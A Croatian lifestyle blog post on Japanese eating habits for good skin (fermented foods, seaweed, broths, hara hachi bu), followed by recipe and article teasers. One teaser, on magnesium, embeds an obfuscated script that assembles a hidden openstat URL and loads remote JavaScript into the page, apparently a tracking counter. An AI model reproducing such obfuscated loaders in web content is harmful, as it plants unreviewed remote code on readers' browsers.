ŠTO JAPANKE JEDU ZA LIJEPU KOŽU?





Što japanke jedu za lijepu kožu?




Postoji nešto zavodljivo u ideji da se tajna lijepe kože skriva u jednoj namirnici. U zdjelici miso juhe, listu nori alge, šalici zelenog čaja ili komadu sirove ribe, ali japanski pristup ljepoti nikad nije bio toliko jednostavan. Više nalikuje suptilnoj disciplini negoli brzom triku: manje pretjerivanja, a više svakodnevnih rituala; manje opsesije kalorijama, a više poštovanja prema probavi, sezoni, teksturi i osjećaju sitosti.





Fermentirana hrana

Miso, natto, ukiseljeno povrće i fermentirani sojini proizvodi nisu samo kulinarski detalj. Oni su dio šire priče o crijevnom mikrobiomu, a veza između crijeva i kože posljednjih je godina sve ozbiljnija tema. Ono što se događa u probavi može se odraziti na upalne procese, osjetljivost, nepravilnosti i opće stanje kože. To ne znači da će zdjelica miso juhe izbrisati prištiće ili crvenilo, ali prehrana koja redovito uključuje fermentirane namirnice može biti dio šire strategije za manje iritiran ten.



Morske alge

Nori, wakame, kombu i druge vrste algi donose minerale i elemente u tragovima, među kojima se često ističe jod, ali i magnezij, kalcij, željezo te različiti antioksidansi. Za kožu je ovdje ključna riječ ravnoteža: minerali su važni za brojne procese u tijelu, ali alge nisu namirnica koju treba nekritički jesti u velikim količinama.



Vitamin C

U beauty svijetu vitamin C najčešće zamišljamo kao serum, ali u prehrani ostaje jedan od najvažnijih nutrijenata za stvaranje kolagena. Ne mora dolaziti iz egzotičnih smoothieja. Jednako su dobri: citrusi, kakiji, jagode, kupus, zeleno povrće, mladi luk i druge sezonske namirnice koje se često poslužuju u manjim količinama, ali redovito.



Aminokiseline

Kad se govori o lijepoj koži iznutra, često se preskače najdosadnija i možda najvažnija stvar: proteini. Koža je građena od strukturnih proteina, među kojima su kolagen i elastin najpoznatiji, a tijelu su za njihovu sintezu potrebne aminokiseline. Japanska prehrana tu je zanimljiva jer često kombinira manje porcije različitih proteinskih izvora: ribu, tofu, soju, jaja, morske plodove, a ponekad i juhe od kostiju ili ribe.



Topla kuhana hrana

Jedna od najljepših stvari jevažnost tople, kuhane hrane. Juhe, temeljci, riža, kuhano povrće, lagano pirjana jela i topli obroci su često nježniji za probavu od hladnih, brzinskih obroka koji nas ostave nadutima i gladnima već za sat vremena.



Juhe bogate kolagenom

Japanske juhe, temeljci od ribe, kosti, piletine ili morskih plodova često nose reputaciju hrane koja “hrani kožu”. Dio te priče dolazi iz kolagena i želatine koji mogu završiti u temeljcu kad se dugo kuhaju kosti, koža, hrskavica ili vezivno tkivo, a većinom su upotpunjene povrćem, algama, gljivama i fermentiranim dodacima poput misa.



Hara hachi bu filozofija

Možda najvažniji japanski beauty savjet nije namirnica, nego granica. Hara hachi bu najčešće se prevodi kao pravilo prema kojem se jede dok nismo otprilike 80 posto siti. Ta se praksa posebno povezuje s Okinawom i dugovječnošću, a u osnovi nije dijeta, nego vježba slušanja tijela.

Za kožu je to važno zato što prejedanje, skokovi razine glukoze, teški obroci i stalno grickanje mogu opteretiti metabolizam, san, probavu i upalne procese. Hara hachi bu uči nas da jedemo polako, primijetimo sitost i stanemo prije nelagode. U modernom ritmu, u kojem jedemo uz ekran, stres i tuđe notifikacije, to zvuči gotovo revolucionarno.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više